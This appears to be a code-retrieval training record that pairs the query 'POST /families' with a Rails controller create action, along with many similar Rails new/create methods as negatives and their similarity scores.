"def new\n @have = Have.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @have }\n end\n end",
"def new\n @breadcrumb = 'create'\n @entity_type = EntityType.new\n \n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @entity_type }\n end\n end",
"def create\n puts :family\n @family = FamilyDecorator.decorate(Family.new(params[:family]))\n\n respond_to do |format|\n if @family.save\n format.html { redirect_to @family, notice: 'Family was successfully created.' }\n format.json { render json: @family, status: :created, location: @family }\n else\n format.html { render action: \"new\" }\n format.json { render json: @family.errors, status: :unprocessable_entity }\n end\n end\n end",
"def new\n @owner = Owner.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @owner }\n end\n end",
"def new\n @entity_subtype = EntitySubtype.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @entity_subtype }\n end\n end",
"def create\n params[:family][:user_id] = current_user.id if params[:family][:user_id]==nil\n params[:family][:name] = params[:family][:name].split(\" \").map{|a| a.capitalize}.join(\" \")\n @family = Family.new(family_params)\n # if current_user.families.count == 0\n # current_user.username = @family.name\n # current_user.save\n # end\n\n respond_to do |format|\n if @family.save\n format.json { render json: {created: @family} }\n format.html { redirect_to @family, notice: 'Family was successfully created.' }\n else\n format.json { render json: @family.errors, status: :unprocessable_entity }\n format.html { render :new }\n end\n end\n end",
"def new\n @vendor_relationship = VendorRelationship.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @vendor_relationship }\n end\n end",
"def new\n @surname = Surname.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @surname }\n end\n end",
"def new\n @gene_name = GeneName.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @gene_name }\n end\n end",
"def new\n @relation = Relation.new\n @personnages = Personnage.all\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @relation }\n end\n end",
"def new\n @person = Person.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @person }\n end\n end",
"def new\n @person = Person.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @person }\n end\n end",
"def new\n @person = Person.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @person }\n end\n end",
"def new\n @person = Person.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @person }\n end\n end",
"def new\n @person = Person.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @person }\n end\n end",
"def new\n @person = Person.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @person }\n end\n end",
"def new\n @person = Person.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @person }\n end\n end",
"def new\n @groups = Group.all\n respond_to do |format|\n format.html # new.html.haml\n format.xml { render :xml => @person }\n format.json { render :json => @person }\n end\n end",
"def new\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @agency }\n end\n end",
"def new\n @brother = Brother.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @brother }\n end\n end",
"def new\n @family = FamilyDecorator.decorate(Family.new)\n\n respond_to do |format|\n if @family.save\n @families = FamilyDecorator.decorate_collection(Family.all)\n format.html {redirect_to action: \"index\"}# new.html.erb\n format.js\n else\n format.html {redirect_to action: \"index\"}\n end\n end\n end",
"def create\n p params\n family = Family.new(\n first_name: params[:first_name],\n last_name: params[:last_name],\n email: params[:email],\n password: params[:password],\n phone_number: params[:phone_number],\n street_address: params[:street_address],\n secondary_address: params[:secondary_address],\n city: params[:city],\n state: params[:state],\n zip_code: params[:zip_code],\n photo: params[:photo])\n # save the information from user input to create a new family.\n family.save!\n if family.save!\n render json: family.as_json\n else\n render json: {errors: family.errors.full_messages}\n end\n end",
"def new\n @fish_type = FishType.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @fish_type }\n end\n end",
"def new\n @personnage = Personnage.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @personnage }\n end\n end",
"def new\n @product_family = ProductFamily.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @product_family }\n end\n end",
"def new\n @product_family = ProductFamily.new\n @title = \"New Product Family\"\n end",
"def new\n @neighborhood = Neighborhood.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @neighborhood }\n end\n end",
"def new\n @neighborhood = Neighborhood.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @neighborhood }\n end\n end",
"def create\n @sub_family = SubFamily.new(sub_family_params)\n\n respond_to do |format|\n if @sub_family.save\n format.html { redirect_to @sub_family, notice: 'Sub familia foi criada.' }\n format.json { render :show, status: :created, location: @sub_family }\n else\n format.html { render :new }\n format.json { render json: @sub_family.errors, status: :unprocessable_entity }\n end\n end\n end",
"def new\n @organism = Organism.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @organism }\n end\n end",
"def create\n @control_family = ControlFamily.new(params[:control_family])\n\n respond_to do |format|\n if @control_family.save\n format.html { redirect_to @control_family, :notice => 'Control family was successfully created.' }\n format.json { render :json => @control_family, :status => :created, :location => @control_family }\n else\n format.html { render :action => \"new\" }\n format.json { render :json => @control_family.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def new\n @grm = Grm.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @grm }\n end\n end",
"def new\n @title = \"Добавление возрастной группы\"\n @age_group = AgeGroup.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @age_group }\n end\n end",
"def new\n @gid2name = Gid2name.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @gid2name }\n end\n end",
"def new\n @breadcrumb = 'create'\n @entity = Entity.new\n @towns = towns_dropdown\n @provinces = provinces_dropdown\n @zipcodes = zipcodes_dropdown\n @regions = Region.order(:name)\n @countries = Country.order(:name)\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @entity }\n end\n end",
"def new\n @entity = @klass.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @entity }\n end\n end",
"def new\n @foam = Foam.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @foam }\n end\n end",
"def new\n @partyrelationship = Partyrelationship.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @partyrelationship }\n end\n end",
"def new\n @occupant = Occupant.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @occupant }\n end\n end",
"def new\n @agente = Agente.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @agente }\n end\n end",
"def new\n @finder = Finder.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @finder }\n end\n end",
"def new\n @followup = Followup.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @followup }\n end\n end",
"def new\n @food = Food.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @food }\n end\n end",
"def new\n @persona = Persona.new\n\n respond_to do |format|\n format.json { render json: @persona }\n end\n end",
"def create\n @family_crest = FamilyCrest.new(params[:family_crest])\n\n respond_to do |format|\n if @family_crest.save\n format.html { redirect_to @family_crest, notice: 'Family crest was successfully created.' }\n format.json { render json: @family_crest, status: :created, location: @family_crest }\n else\n format.html { render action: \"new\" }\n format.json { render json: @family_crest.errors, status: :unprocessable_entity }\n end\n end\n end",
"def new\n @persona = Persona.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @persona }\n end\n end",
"def new\n @persona = Persona.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @persona }\n end\n end",
"def new\n @persona = Persona.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @persona }\n end\n end",
"def new\n @howner = Howner.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @howner }\n end\n end",
"def new\n @relation = Relation.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @relation }\n end\n end",
"def new\n @ref_protein = RefProtein.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @ref_protein }\n end\n end",
"def new\n @fixture = Fixture.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @fixture }\n end\n end",
"def new\n @relationship = Relationship.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @relationship }\n end\n end",
"def new\n @name = Name.new\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @name }\n end\n end",
"def new\n @product = Product.new\n\n if params[:family_id]\n pfid = params[:family_id]\n if pfid\n @product_family = ProductFamily.find(pfid)\n @product.product_family = @product_family\n end\n admin_last_url\n else\n admin_store_url\n end\n\n @product_families = ProductFamily.all(:order => \"name ASC\")\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @product }\n end\n end",
"def create\n @language_family = LanguageFamily.new(language_family_params)\n\n respond_to do |format|\n if @language_family.save\n format.html { redirect_to @language_family, notice: 'Language family was successfully created.' }\n format.json { render action: 'show', status: :created, location: @language_family }\n else\n format.html { render action: 'new' }\n format.json { render json: @language_family.errors, status: :unprocessable_entity }\n end\n end\n end",
"def new\n @person = Person.new\n @person.names.new\n \n respond_to do |format|\n format.html { render :layout => \"main\" } # new.html.erb\n format.xml { render :xml => @person }\n end\n end",
"def new\n @name = Name.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @name }\n end\n end",
"def new\n @groupon = Groupon.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @groupon }\n end\n end",
"def new\n @village = Village.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @village }\n end\n end",
"def new\n @membership = Membership.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @membership }\n end\n end",
"def create\n @family_member = FamilyMember.new(family_member_params)\n\n respond_to do |format|\n if @family_member.save\n format.html { redirect_to @family_member, notice: 'Family member was successfully created.' }\n format.json { render json: @family_member, status: :created, location: @family_member }\n else\n format.html { render action: \"new\" }\n format.json { render json: @family_member.errors, status: :unprocessable_entity }\n end\n end\n end",
"def new\n @fridge = Fridge.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @fridge }\n end\n end",
"def new\n @follower = Follower.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @follower }\n end\n end",
"def create\n @family = Family.new\n [:father, :mother].each do |p|\n pp = params[p].keep_if { |k,v| !v.blank? }\n\n @family.__send__ \"#{p}=\", (pp.blank? ? nil : get_user_from_params(pp))\n end\n\n respond_to do |format|\n if @family.save\n uninitialized_pw = User.initialize_without_password(\"\").password_digest\n [@family.father, @family.mother].select { |p| p }.each { |p|\n user_is_new = p.user.password_digest == uninitialized_pw\n EasyRailsAuthentication::AuthenticationHelper.SendPasswordInitializationEmailTo p.email if user_is_new\n }\n format.html { redirect_to (added_user_info? ? family_url(@family.id) : families_url), notice: 'Family was successfully created.' }\n format.json { render json: @family, status: :created, location: @family }\n else\n format.html { render action: \"new\" }\n format.json { render json: @family.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @family_member = FamilyMember.new(params[:family_member])\n\n respond_to do |format|\n if @family_member.save\n format.html { redirect_to @family_member, notice: 'Family member was successfully created.' }\n format.json { render json: @family_member, status: :created, location: @family_member }\n else\n format.html { render action: \"new\" }\n format.json { render json: @family_member.errors, status: :unprocessable_entity }\n end\n end\n end",
"def new\n @friend = Friend.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @friend }\n end\n end",
"def new\n @leader = Leader.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @leader }\n end\n end",
"def new\n @agency_type = AgencyType.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @agency_type }\n end\n end",
"def new\n @flower = Flower.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @flower }\n end\n end",
"def new\n @type_person = TypePerson.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @type_person }\n end\n end",
"def new\n @year_insurances = YearInsurance.active.joins(:family)\n @reimbursement = Reimbursement.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @reimbursement }\n end\n end",
"def new\n @membership = Membership.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render :json => @membership }\n end\n end",
"def index\n @index_action = true\n @families = Family.all\n \n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @families }\n end\n end"
] |
[
"0.71695906",
"0.71695906",
"0.71391577",
"0.7129296",
"0.71064544",
"0.7022028",
"0.68648344",
"0.67930543",
"0.67314255",
"0.6726343",
"0.66926026",
"0.6654322",
"0.66194683",
"0.65615916",
"0.6561281",
"0.6548845",
"0.65236",
"0.65201026",
"0.6514795",
"0.6457378",
"0.6347082",
"0.6344153",
"0.633599",
"0.6332944",
"0.63281006",
"0.6320058",
"0.631652",
"0.63069576",
"0.63043725",
"0.63025653",
"0.6293561",
"0.6289674",
"0.62850964",
"0.62802523",
"0.6278557",
"0.6278051",
"0.62726456",
"0.62726456",
"0.62726456",
"0.62726456",
"0.62726456",
"0.62726456",
"0.62726456",
"0.6257685",
"0.62572217",
"0.6255633",
"0.62552315",
"0.6251414",
"0.6239431",
"0.6230665",
"0.62213135",
"0.62207884",
"0.62198234",
"0.62198234",
"0.6217159",
"0.6208966",
"0.62068546",
"0.61961454",
"0.6186568",
"0.61814785",
"0.6174016",
"0.6163826",
"0.6161333",
"0.6154845",
"0.61492944",
"0.6147537",
"0.61470914",
"0.61461884",
"0.6142375",
"0.6132361",
"0.6131691",
"0.61215615",
"0.61215615",
"0.61215615",
"0.6116263",
"0.61150587",
"0.61142427",
"0.6109743",
"0.61078316",
"0.6107796",
"0.6103942",
"0.61037517",
"0.61033934",
"0.61017984",
"0.60998833",
"0.6097982",
"0.6096973",
"0.6095071",
"0.609467",
"0.6092751",
"0.6089358",
"0.6086083",
"0.6083091",
"0.6077768",
"0.60761964",
"0.60691845",
"0.60682195",
"0.60642195",
"0.606352",
"0.6062231"
] |
0.78264546
|
0
|
POST /families POST /families.json
|
def create
@family = Family.new(params[:family])
if User.find_by_email(session[:user_email]).identity >= 3 #if user is at least manager+
@family.approved_by = User.find_by_email(session[:user_email]).id
@family.display = true
end
respond_to do |format|
if @family.save
format.html { redirect_to session[:redirect_path], notice: 'Family was successfully created.' }
format.json { render json: @family, status: :created, location: @family }
else
flash[:error] = "Sorry, one or more fields were not entered correctly. Please double-check that the information is correct."
format.html { render action: "new" }
format.json { render json: @family.errors, status: :unprocessable_entity }
end
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def create_jobfamily\n @jobfamily = @company.jobfamilies.create(name: params[:jobfamily][:name])\n respond_to do |format|\n format.json { render json: @jobfamily }\n end\n end",
"def create\n @family = Family.new(family_params)\n addMembers\n respond_to do |format|\n if @family.save\n format.html { redirect_to @family, notice: 'Family was successfully created.' }\n format.json { render :show, status: :created, location: @family }\n else\n format.html { render :new }\n format.json { render json: @family.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n family_params\n f = params[:family]\n @family = Family.new\n @family.name = f[:name]\n\n respond_to do |format|\n if @family.save\n format.html { redirect_to @family, notice: 'Family was successfully created.' }\n format.json { render action: 'show', status: :created, location: @family }\n else\n format.html { render action: 'new' }\n format.json { render json: @family.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n params[:family][:user_id] = current_user.id if params[:family][:user_id]==nil\n params[:family][:name] = params[:family][:name].split(\" \").map{|a| a.capitalize}.join(\" \")\n @family = Family.new(family_params)\n # if current_user.families.count == 0\n # current_user.username = @family.name\n # current_user.save\n # end\n\n respond_to do |format|\n if @family.save\n format.json { render json: {created: @family} }\n format.html { redirect_to @family, notice: 'Family was successfully created.' }\n else\n format.json { render json: @family.errors, status: :unprocessable_entity }\n format.html { render :new }\n end\n end\n end",
"def create\n p params\n family = Family.new(\n first_name: params[:first_name],\n last_name: params[:last_name],\n email: params[:email],\n password: params[:password],\n phone_number: params[:phone_number],\n street_address: params[:street_address],\n secondary_address: params[:secondary_address],\n city: params[:city],\n state: params[:state],\n zip_code: params[:zip_code],\n photo: params[:photo])\n # save the information from user input to create a new family.\n family.save!\n if family.save!\n render json: family.as_json\n else\n render json: {errors: family.errors.full_messages}\n end\n end",
"def create\n @family_relationship = FamilyRelationship.new(family_relationship_params)\n\n respond_to do |format|\n if @family_relationship.save\n format.html { redirect_to @family_relationship, notice: 'Family relationship was successfully created.' }\n format.json { render :show, status: :created, location: @family_relationship }\n else\n format.html { render :new }\n format.json { render json: @family_relationship.errors, status: :unprocessable_entity }\n end\n end\n end",
"def jobfamily\n @jobfamilies = @company.jobfamilies\n respond_to do |format|\n format.json { render json: @jobfamilies}\n end\n end",
"def index\n @index_action = true\n @families = Family.all\n \n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @families }\n end\n end",
"def index\n @families = Family.all.paginate(page: params[:page])\n render json: @families\n end",
"def create\n @sub_family = SubFamily.new(sub_family_params)\n\n respond_to do |format|\n if @sub_family.save\n format.html { redirect_to @sub_family, notice: 'Sub familia foi criada.' }\n format.json { render :show, status: :created, location: @sub_family }\n else\n format.html { render :new }\n format.json { render json: @sub_family.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @os_family = OsFamily.new(os_family_params)\n\n respond_to do |format|\n if @os_family.save\n format.html { redirect_to @os_family, notice: 'Os family was successfully created.' }\n format.json { render :show, status: :created, location: @os_family }\n else\n format.html { render :new }\n format.json { render json: @os_family.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @control_family = ControlFamily.new(params[:control_family])\n\n respond_to do |format|\n if @control_family.save\n format.html { redirect_to @control_family, :notice => 'Control family was successfully created.' }\n format.json { render :json => @control_family, :status => :created, :location => @control_family }\n else\n format.html { render :action => \"new\" }\n format.json { render :json => @control_family.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def family_params\n params.require(:family).permit(:name, :status)\n end",
"def create\n puts :family\n @family = FamilyDecorator.decorate(Family.new(params[:family]))\n\n respond_to do |format|\n if @family.save\n format.html { redirect_to @family, notice: 'Family was successfully created.' }\n format.json { render json: @family, status: :created, location: @family }\n else\n format.html { render action: \"new\" }\n format.json { render json: @family.errors, status: :unprocessable_entity }\n end\n end\n end",
"def family_params\n params[:family].permit(:name)\n end",
"def create\n @family = Family.new(params[:family])\n\n respond_to do |format|\n if @family.save\n flash[:notice] = 'Family was successfully created.'\n format.html { redirect_to(@family) }\n format.xml { render :xml => @family, :status => :created, :location => @family }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @family.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def family_params\n params.require(:family).permit(:name)\n end",
"def create\n @family = Family.new(params[:family])\n respond_to do |format|\n if @family.save\n flash[:notice] = 'Family was successfully created.'\n format.html { redirect_to(@family) }\n format.xml { render :xml => @family, :status => :created, :location => @family }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @family.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def family_params\r\n params.require(:family).permit(:name)\r\n end",
"def index\n @families = Family.all\n end",
"def index\n @families = Family.all\n end",
"def index\n @families = Family.all\n end",
"def family_params\n params.require(:family).permit(:name, :user_id)\n end",
"def new\n @family = Family.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @family }\n end\n end",
"def create\n @family_member = FamilyMember.new(family_member_params)\n\n respond_to do |format|\n if @family_member.save\n format.html { redirect_to @family_member, notice: 'Family member was successfully created.' }\n format.json { render :show, status: :created, location: @family_member }\n else\n format.html { render :new }\n format.json { render json: @family_member.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @family_member = FamilyMember.new(params[:family_member])\n\n respond_to do |format|\n if @family_member.save\n format.html { redirect_to @family_member, notice: 'Family member was successfully created.' }\n format.json { render json: @family_member, status: :created, location: @family_member }\n else\n format.html { render action: \"new\" }\n format.json { render json: @family_member.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @farmer_family = @farmer.farmer_families.build(farmer_family_params)\n\n respond_to do |format|\n if @farmer_family.save\n SystemLog.create(description: \"Cadastraou uma novo membro da família para o agricultor #{@farmer.name}(#{@farmer.farmer_code}) chamado #{@farmer_family.name}\", author: name_and_type_of_logged_user)\n format.html { redirect_to [@group, @farmer_family.farmer, @farmer_family], notice: 'Integrante da familia adicionado com sucesso' }\n format.json { render :show, status: :created, location: @farmer_family }\n else\n format.html { render :new }\n format.json { render json: @farmer_family.errors, status: :unprocessable_entity }\n end\n end\n end",
"def family_relationship_params\n params.require(:family_relationship).permit(:code, :name)\n end",
"def create\n @family_member = FamilyMember.new(family_member_params)\n\n respond_to do |format|\n if @family_member.save\n format.html { redirect_to @family_member, notice: 'Family member was successfully created.' }\n format.json { render json: @family_member, status: :created, location: @family_member }\n else\n format.html { render action: \"new\" }\n format.json { render json: @family_member.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @language_family = LanguageFamily.new(language_family_params)\n\n respond_to do |format|\n if @language_family.save\n format.html { redirect_to @language_family, notice: 'Language family was successfully created.' }\n format.json { render action: 'show', status: :created, location: @language_family }\n else\n format.html { render action: 'new' }\n format.json { render json: @language_family.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @family = Family.new\n [:father, :mother].each do |p|\n pp = params[p].keep_if { |k,v| !v.blank? }\n\n @family.__send__ \"#{p}=\", (pp.blank? ? nil : get_user_from_params(pp))\n end\n\n respond_to do |format|\n if @family.save\n uninitialized_pw = User.initialize_without_password(\"\").password_digest\n [@family.father, @family.mother].select { |p| p }.each { |p|\n user_is_new = p.user.password_digest == uninitialized_pw\n EasyRailsAuthentication::AuthenticationHelper.SendPasswordInitializationEmailTo p.email if user_is_new\n }\n format.html { redirect_to (added_user_info? ? family_url(@family.id) : families_url), notice: 'Family was successfully created.' }\n format.json { render json: @family, status: :created, location: @family }\n else\n format.html { render action: \"new\" }\n format.json { render json: @family.errors, status: :unprocessable_entity }\n end\n end\n end",
"def index\r\n @families = Family.all\r\n end",
"def create\n @family_bond = FamilyBond.new(family_bond_params)\n\n respond_to do |format|\n if @family_bond.save\n format.html { redirect_to @family_bond, notice: 'Family bond was successfully created.' }\n format.json { render :show, status: :created, location: @family_bond }\n else\n format.html { render :new }\n format.json { render json: @family_bond.errors, status: :unprocessable_entity }\n end\n end\n end",
"def family_params\n params.require(:family).permit(:home_address, :email_address, :phone_number, primary_family_member_attributes: %i[type first_name last_name age])\n end",
"def create\n @family_document = FamilyDocument.new(family_document_params)\n\n respond_to do |format|\n if @family_document.save\n format.html { redirect_to @family_document, notice: \"Family document was successfully created.\" }\n format.json { render :show, status: :created, location: @family_document }\n else\n format.html { render :new, status: :unprocessable_entity }\n format.json { render json: @family_document.errors, status: :unprocessable_entity }\n end\n end\n end",
"def destroy\n @family.destroy\n respond_to do |format|\n format.html { redirect_to families_url }\n format.json { head :no_content }\n end\n end",
"def create\n @family_crest = FamilyCrest.new(params[:family_crest])\n\n respond_to do |format|\n if @family_crest.save\n format.html { redirect_to @family_crest, notice: 'Family crest was successfully created.' }\n format.json { render json: @family_crest, status: :created, location: @family_crest }\n else\n format.html { render action: \"new\" }\n format.json { render json: @family_crest.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @family = Family.find(params[:participant][:family]) rescue nil\n params[:participant][:family] = @family\n @participants = Participant.new(params[:participant])\n\n respond_to do |format|\n if @participants.save\n AuditTrail.audit(\"Participant #{@participants.fullname} created by #{current_user.login}\", edit_participant_url(@participants))\n flash[:notice] = 'Participants was successfully created.'\n format.html { params[:commit] == 'Save' ? redirect_to(participants_path) : redirect_to(new_participant_path) }\n format.xml { render :xml => @participants, :status => :created, :location => @participants }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @participants.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n @family_image = FamilyImage.new(family_image_params)\n\n if @family_image.save\n render json: @family_image, status: :created, location: @family_image\n else\n render json: @family_image.errors, status: :unprocessable_entity\n end\n end",
"def sub_family_params\n params.require(:sub_family).permit(:name, :created_at, :updated_at)\n end",
"def create\n @rental = Rental.find(params[:rental_id])\n @tenant_family_member = TenantFamilyMember.new(tenant_family_member_params)\n @tenant_family_member.rental = @rental\n\n respond_to do |format|\n if @tenant_family_member.save\n format.html { redirect_to @rental, notice: 'Tenant family member was successfully created.' }\n format.json { render :show, status: :created, location: @tenant_family_member }\n else\n format.html { render :new }\n format.json { render json: @tenant_family_member.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @family_member = FamilyMember.new(params[:family_member])\n @family_member.family = @current_family\n\n respond_to do |format|\n if @family_member.save\n format.html { redirect_to(family_family_member_url(@current_family, @family_member), :notice => 'A Family Member was successfully created.') }\n format.xml { render :xml => @family_member, :status => :created, :location => @family_member }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @family_member.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def family_params\n params.require(:family).permit(:nombre_casa, :numero_casa, :telefono, :comunity_id,:direccion)\n end",
"def create\n @father = Father.new(params[:father])\n\n respond_to do |format|\n if @father.save\n format.html { redirect_to @father, notice: 'Father was successfully created.' }\n format.json { render json: @father, status: :created, location: @father }\n else\n format.html { render action: \"new\" }\n format.json { render json: @father.errors, status: :unprocessable_entity }\n end\n end\n end",
"def index\n @family_members = FamilyMember.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @family_members }\n end\n end",
"def create\n @family_unit = FamilyUnit.new(params[:family_unit])\n\n respond_to do |format|\n if @family_unit.save\n format.html { redirect_to @family_unit, notice: 'Family unit was successfully created.' }\n format.json { render json: @family_unit, status: :created, location: @family_unit }\n else\n format.html { render action: \"new\" }\n format.json { render json: @family_unit.errors, status: :unprocessable_entity }\n end\n end\n end",
"def index\n @farmer_families = @farmer.farmer_families\n end",
"def create\n @admin_father = Admin::Father.new(admin_father_params)\n\n respond_to do |format|\n if @admin_father.save\n format.html { redirect_to @admin_father, notice: 'Father was successfully created.' }\n format.json { render :show, status: :created, location: @admin_father }\n else\n format.html { render :new }\n format.json { render json: @admin_father.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @product_family = ProductFamily.new(params[:product_family])\n \n if @product_family.save\n flash[:success] = 'Product family was successfully created.'\n redirect_to(product_families_path)\n else\n @title = \"New Product Family\"\n render :action => \"new\" \n end\n end",
"def add_family!(family_name)\n self.family = Family.where(name: family_name).first_or_create! \n self.save!\n end",
"def create\n @breadcrumb = 'create'\n @product_family = ProductFamily.new(params[:product_family])\n @product_family.created_by = current_user.id if !current_user.nil?\n\n respond_to do |format|\n if @product_family.save\n format.html { redirect_to @product_family, notice: crud_notice('created', @product_family) }\n format.json { render json: @product_family, status: :created, location: @product_family }\n else\n format.html { render action: \"new\" }\n format.json { render json: @product_family.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @habit = Habit.new(habit_params)\n @habit.source = params[:for_family].to_i == 1 ? current_family : current_user\n\n respond_to do |format|\n if @habit.save\n format.html { redirect_to habit_path(@habit), notice: '習慣データを作成しました.' }\n format.json { render json: @habit, status: :created, location: @habit }\n else\n format.html { render action: \"new\" }\n format.json { render json: @habit.errors, status: :unprocessable_entity }\n end\n end\n end",
"def destroy\n @family.destroy\n respond_to do |format|\n format.html { redirect_to families_url, notice: 'Family was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def create\n @family_history = FamilyHistory.new(family_history_params)\n\n respond_to do |format|\n if @family_history.save\n format.html { redirect_to patient_path(@family_history.patient), notice: 'Family history was successfully created.' }\n format.json { render :show, status: :created, location: @family_history }\n else\n format.html { render :new }\n format.json { render json: @family_history.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n\t\trespond_with Species.create(species_params)\n\tend",
"def create\n @forest = Forest.new(params[:forest])\n\n respond_to do |format|\n if @forest.save\n format.html { redirect_to @forest, notice: 'Forest was successfully created.' }\n format.json { render json: @forest, status: :created, location: @forest }\n else\n format.html { render action: \"new\" }\n format.json { render json: @forest.errors, status: :unprocessable_entity }\n end\n end\n end",
"def destroy\r\n @family.destroy\r\n respond_to do |format|\r\n format.html { redirect_to families_url, notice: 'Family was successfully destroyed.' }\r\n format.json { head :no_content }\r\n end\r\n end",
"def create\n @family = Family.new(family_params)\n @family.church = current_church\n\n if @family.save\n flash[:notice] = t('.success', name: @family.name)\n redirect_to action: :index\n else\n render :new\n end\n end",
"def new\n @family_member = FamilyMember.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @family_member }\n end\n end",
"def new\n @family_member = FamilyMember.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @family_member }\n end\n end",
"def create\n group_ids = params[\"group_id\"]\n org_id = params[:organization_id]\n @user = User.new(full_name: params[:full_name], password: params[:password], password_confirmation: params[:password], email: params[:email], status: params[:status], staff_number: params[:employee_id], career_path: params[:career_path], team_leader_id: nil)\n @user.user_group_ids = group_ids\n @user.organization_id = org_id\n\n respond_to do |format|\n if @user.save\n format.json { render json: @user }\n else\n format.json { render json: @user.errors.messages, status: :unprocessable_entity }\n end\n end\n end",
"def index\n @sub_families = SubFamily.all\n end",
